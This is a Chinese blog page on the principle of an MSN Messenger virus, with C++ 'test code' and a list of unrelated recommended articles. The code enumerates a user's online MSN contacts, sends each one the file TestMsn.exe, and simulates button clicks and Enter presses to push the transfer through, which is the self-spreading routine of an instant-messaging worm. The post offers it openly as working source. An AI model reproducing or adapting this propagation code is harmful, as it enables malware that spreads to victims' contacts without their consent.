MSN病毒原理及测试代码

如何处理动态语言(Python / JS)的“隐形”调用链? 本文揭示动态语言(Python/JS)中静态AST解析导致调用链“断链”的核心问题,提出通过运行时追踪补全图谱的解决方案。基于Code-Graph-RAG的cgr trace机制,分别利用pytest插件与V8 Profiler捕获真实调用路径,将动态边合并至静态图谱,并在权重体系中提升动态边优先级。实践表明,该方法可显著提升图谱覆盖率,实现“结构+行为”双视角理解代码,为MCP与Rerank系统提供可靠支持。 阅读详情
下面是测试代码,只有通过MSN传送文件部分

Copy code
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include "msgruaid.h"   //这两个头文件就是接口的定义
#include "msgrua.h"     //有兴趣的同学可以在网上找找(没找着可以找我要)
#include <comutil.h>

int main(int argc, char* argv[])
{
IMessenger *pIMessenger = NULL;   //a pointer to an IMessenger interface
  BSTR pbstrName, bstrFriendName;
  IMessengerContact *MsnContact;
  IMessengerContacts *MsnContacts;
  IMessengerWindow *pIMsnWindow;
  __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;
  VARIANT vaTemp;
BSTR bstrFileName;
char *szOpenDlg;
char szMsnWindowsClass[] = "IMWindowClass";
char szButtonText[] = "打开(&O)";
HWND hWnd = NULL, hBtn = NULL;
DWORD dwControlId = 0;
char szCurDir[MAX_PATH], szBuf[MAX_PATH];

  CoInitialize(0);   //初始化COM库
  CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger);   //创建一个实例
  pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表
  pIMessenger->get_Window((IDispatch**)&pIMsnWindow);
  long nCount;
  MsnContacts->get_Count(&nCount);         //得到好友数
  for (int i = 0; i < nCount; i++)
  {
  MsnContacts->Item(i, (IDispatch**)&MsnContact);
  MsnContact->get_SigninName(&pbstrName);       //账号
  MsnContact->get_FriendlyName(&bstrFriendName); //签名
  szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);
  MsnContact->get_Status(&dwStatus);
  if (dwStatus == MISTATUS_ONLINE)       //判断是否在线
  {
  GetCurrentDirectory(MAX_PATH, szCurDir);
  lstrcat(szCurDir, "//");
  lstrcat(szCurDir, "TestMsn.exe");
  lstrcpy(szBuf, "发送文件给 ");
  lstrcat(szBuf, szOpenDlg);
 
  bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);
 
  vaTemp.vt = VT_BSTR;
  vaTemp.bstrVal = pbstrName;

  pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件

  do
  {
 

  hWnd = FindWindow(NULL,szBuf);
  hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);

  } while(!(hWnd && hBtn));

  dwControlId <<= 16;
  dwControlId |= 1;

  PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));
  keybd_event(VK_RETURN, 0, 0, 0);
  keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);


  }

  MsnContact->Release();
  MsnContacts->Release();
 
  pIMessenger->Release();   //释放相关资源
  CoUninitialize();
  ExitProcess(0);
  return 0;
}
Playwright: Pytest vs Library vs LibraryAsync:三者如何选? Python中Playwright的3个Target:Pytest(推荐用于E2E自动化测试,支持报告、并行、重试)、Library(同步脚本,适合爬虫与简单任务,需手动管理浏览器)、LibraryAsync(异步脚本,适用于高并发批量操作)。选择依据:测试项目选Pytest,轻量脚本选Library,高并发场景选LibraryAsync。 阅读详情

相关推荐

YOLOv5s模型训练全流程解析:从数据准备到实战检测

本文详细解析了YOLOv5s模型训练的全流程,涵盖从环境搭建、数据准备与格式转换,到模型训练、参数调优及实战检测的完整步骤。文章提供了具体的代码示例和常见问题解决方案,旨在帮助开发者,特别是新手,高效掌握YOLOv5s模型训练的核心技术,并成功应用于实际检测任务中。

weixin_29041767的博客 335

抓住恶魔的灵魂 病毒编写技术揭秘

   

ark1111的专栏 2517

Apollo&Carla联合仿真基本操作

基于UE4开发的开源无人驾驶仿真器PythonAPI自动驾驶传感器(还有理想化的collision detection传感器)用于规划和控制的快速仿真地图生成交通场景(open scenario)仿真ROS集成自动驾驶baseline0.9.15新特性新的车型以及地图基于Omniverse的素材导入基于OSM的三维场景生成。

SLAM小土堆 3802

模型之外的那套装置:用 AI harness 完成一个三端同步应用

AI harness 指模型之外、让模型能持续产出可交付软件的全部工程装置。本文把它称作"支架"。它由五层构成:输入层规定模型读什么,反馈层规定模型怎么知道自己错了,观测层把界面与设备状态变成可读事实,记忆层让跨会话不失真,边界层规定哪些动作不许模型自行作出。支架的价值在六天里可以直接计量。

Leo的Matrix 183

Zemax中场曲与畸变图的深度解析与应用场景对比

本文深度解析了Zemax中场曲/畸变图与网格畸变图的核心原理、计算逻辑与适用场景。通过对比常规成像镜头、扫描镜头、鱼眼镜头及变形宽银幕镜头等实际案例,详细阐述了如何根据系统对称性、视场角及核心需求选择正确的分析工具与畸变评价标准,为光学设计中的畸变诊断与优化提供清晰指导。

sand8的博客 482

Frida实战:如何用HashMap.put拦截法快速定位安卓App加密参数(附完整脚本)

本文详细介绍了如何使用Frida拦截HashMap.put方法快速定位安卓App加密参数,提供完整脚本和实战案例。通过动态分析技术,相比传统静态分析大幅提升效率,适用于电商、社交、金融等场景的加密参数定位。

jump7的博客 264

如果用pytest命令启动测试脚本有哪些方法和参数呢?请详细解析

pytest的命令行启动非常灵活,它围绕“”、“”和“”三个核心维度,提供了一套强大的参数体系。

simpleness_的博客 176

实战|2026美团&大众点评餐饮数据抓取:Playwright/Selenium反爬全攻略

核心结论:2026年美团&大众点评的反爬核心是“多维度风控”,需组合使用“住宅IP+设备指纹伪装+真人行为模拟+动态验证处理”,Playwright是最优工具,Selenium仅作为补充。效率优化:单机爬取速度建议控制在“每小时500-800条”,避免高频请求触发风控;分布式爬取需确保每个节点使用独立住宅IP,且行为轨迹不一致。扩展方向集成WASM解密工具,破解2026年美团的Token加密;用AI识别动态点选验证,提升验证通过率;对接大数据平台,对抓取的餐饮数据进行可视化分析。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 2466

软件测试用例模板怎么写:从用例设计到执行记录的全套指南

测试用例是测试工作的核心产出,它决定测试覆盖了多少、漏掉了什么。但大多数人的测试用例写得像流水账——只有正常路径,没有异常场景;只有操作步骤,没有预期结果;只有功能测试,没有非功能测试。本文拆解测试用例的标准结构,说明每个字段的含义和写法,给出覆盖功能测试、性能测试、安全测试的完整用例范例,并列出测试用例设计的五个高频遗漏点。

wuwangzhiduoshao的博客 154

[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探

这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了分享机器学习在安全领域的应用,并复现一个基于机器学习(逻辑回归)的恶意请求识别。这篇文章简单叙述了Web安全学习路线,并实现了最简单的木马和病毒代码,希望对读者有所帮助。

杨秀璋的专栏 3万+

附录一源码阅读路线与断点索引

本索引固定于Boot 3.5.7与Framework 6.2.12。先选择要解释的现象,再打开对应源码。表中观察对象是逻辑名称,不保证在所有重载中都是同名局部变量。抽象接口和注解用于阅读契约,不提供可执行方法体断点。

weixin_45476869的博客 164

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

大型高复杂度互联网项目管理经验心得

复杂项目,管理的核心不是管人,而是管理依赖和变更简单项目重点是排任务、盯进度;多端多关联系统的大型项目,大部分延期、故障根源都来自依赖失控、变更失控。项目经理首要工作是把看不见的依赖显性化,把随意变更变成受控变更,而不是单纯催开发进度。分批上线不是降低标准,而是拆分风险,小步可控很多人觉得分批上线麻烦,希望攒到一起发布。但集中上线会把所有风险集中在同一个窗口,一旦出问题,排查范围巨大、影响面广。分批发布本质是风险隔离,每一批只承载有限的变更,出问题更容易定位、回滚、止损。

zyx980193917的博客 193

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

[LLM Wiki理论与实践-09]将OpenWiki融入Coding Agent为你节省Token

针对OpenWiki的整合则将Coding Agent的执行模式升级为**先读知识库、再精准修改代码**。OpenWiki预置概念文档、测试说明、页面清单与更新时间,让Agent快速理解业务意图、定位相关代码与测试、判断信息新旧,减少Token与时间开销,降低理解偏差和跨文件遗漏,使改动更一致、可复现,文档与代码同步维护。

JaydenAI的博客 440

MyBatis 入门核心教程:原生接口与 Mapper 代理双模式实战

MyBatis 是 Java 生态中应用最广泛的半自动化持久层框架,它在封装 JDBC 冗余模板代码的同时,将 SQL 的编写权完全交给开发者,兼具开发效率与性能优化空间,是国内企业级项目的主流持久层方案。MyBatis 提供了两种核心开发模式:原生接口模式适合理解框架底层执行原理,Mapper 代理模式是企业开发的标准规范。本文从基础概念出发,完整覆盖环境搭建、两种模式的代码实现、底层原理、事务机制与高频问题排查,所有代码均可直接运行,适合系统入门与实战参考。原生接口模式。

2401_87069538的博客 980

SpringBoot 的那些常用扩展点

JsonPropertySourceLoader,实现PropertySourceLoader接口@Override//这个方法表明这个类支持解析以json结尾的配置文件@Override//将文件内容读到 ByteBuffer 中//将读出来的字节转换成字符串// 将字符串转换成 JSONObject//将 json 的键值对读出来,放入到 map 中。

sxlishaobin的博客 87

FastAPI

FastAPI 是一个基于 Python 类型提示构建的现代、高性能 Web 框架,专门用于快速开发 API。它的核心设计理念是让你用标准 Python 写代码,就能同时获得数据校验、自动文档和编辑器支持。

hcgeng的专栏 310

Spring 高频面试题:用一次用户注册串起 IoC、AOP、事务和 MVC

学 Spring 时,我最容易混淆的是这些「看起来一样」的操作:调用业务方法和向容器取 Bean,调用目标对象和调用代理,方法正常返回和事务成功提交。把它们放进同一个例子里,很多面试题就能顺着调用路径推出来。假设我们要实现一个注册接口:前端发来,Controller 接收用户名,Service 在数据库里创建用户和默认资料。下面用这条链路理解 Spring 的几个核心机制。代码是用于讲解的片段,省略了导入、依赖声明和数据库实现。

weixin_42927227的博客 346

11.14号

与ai沟通了40多个问题关于就业方向的,推荐岗位ai标注员,然后软件测试,然后是硬件半导体相关工作,然后包住有社保的服务员,服务员一个月5000,ai说如果从事漫剧这行起码要多生成十几个视频看看流量有没有这方面天赋,除去涉及版权生成不出来的情况下,算上搓了6个视频,5个高清原创的二创类型视频,剧情是关于二创。后面又说服ai了软件测试早死了,不止点工,而且比较忙。学会了运用特殊分镜使得画面更美,环绕拍摄法提示词。

2302_80369360的博客 14

CI-CD详解-从GitLab流水线到Runner自动化部署

代码从提交到上线,中间隔着检查、构建、部署一长串重复动作,靠人盯既慢又容易出错。CI/CD 就是把这套流程自动化、标准化的工程实践。本文以 GitLab 为例,从概念、流水线、Runner 一直讲到怎么把 Claude Code 这类 AI 工具挂进流水线,把整个机制串清楚。把"用了 GitLab"等同于"全流程自动化":有些公司只做了 MR 自动检查;有些做到镜像构建;有些能自动部署生产。自动化到哪一步,取决于配置,不取决于工具。别想当然。流水线通过 ≠ 业务正确。

勇往直前的博客 407

SCA:五、配置统一网关geteway

本文基于SpringBoot 4与SCA 2025.1.0.0,结合Nacos、OpenFeign,演示了Gateway模块的完整搭建流程:创建gateway-server模块,配置POM依赖(含WebMvc网关、Nacos发现、负载均衡等),编写YAML路由配置(实现路径映射与负载均衡),添加启动类并启用服务发现。通过访问/provider/hello/jangle测试网关路由转发功能,验证了基于Nacos的服务注册与动态路由能力,实现了微服务统一入口的高效集成。

博风_刺耳的博客(网络记事本) 213

【AI Agent 软件测试实战(10):从 Demo 到工程落地,整合一个完整的 AI Test Agent 项目】

写完这个系列,我对 AI Agent 在软件测试中的定位也更加明确了。它并不是要替代现有的自动化测试框架。传统自动化测试负责稳定执行已经定义好的测试逻辑,而 AI Agent 更适合处理需求理解、测试用例生成、工具选择、任务组织和结果分析等工作。两者结合,才更有实际价值。检查订单查询接口是否存在金额异常,同时确认订单状态是否合法。Agent 可以根据需求生成测试用例,经过校验后调用接口工具执行测试,再把结果保存到数据库并生成报告。但真正决定测试是否通过的,仍然是明确的断言规则。

一些微不足道的见解、希望能帮助各位 321

基于SpringBoot的游乐园管理系统-附源码

本系统基于 SpringBoot3 和 Vue3 实现游乐园管理系统,完成游乐项目展示、园区公告发布、线上购票、订单管理等核心功能,打通游乐园线上宣传和票务售卖的渠道,减轻园区线下管理压力。系统分层清晰,便于后续维护扩展,后续可以增加预约排队、项目评价、场次管理、退票核销等功能,进一步完善游乐园线上服务能力。

专注于大学生项目实战开发,讲解,毕业答疑辅导,java就业辅导,高校老师/讲师/同行合作。以及产品测评宣传、工具推广等合作。全网粉丝10w+,平台优质java、小程序创作者。 334

关于商城后台的自动化测试

本次针对商城管理后台开展功能测试与 UI 自动化回归测试,验证商品增删改查、上下架、会员管理、订单查询发货等后台管理功能符合业务需求;使用 Python+Selenium 开发自动化脚本,重点解决后台大量异步渲染、iframe 嵌套带来的稳定性问题,通过前后台双向断言校验数据一致性,用于版本迭代回归,减少重复手工测试。

2301_80001281的博客 29

GitHub 热榜实测|Superpowers:

An agentic skills framework & software development methodology that works.

mihuyang的博客 210
上一篇: 邮件蠕虫与垃圾邮件技术的融合
下一篇: Explorer内存感染
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值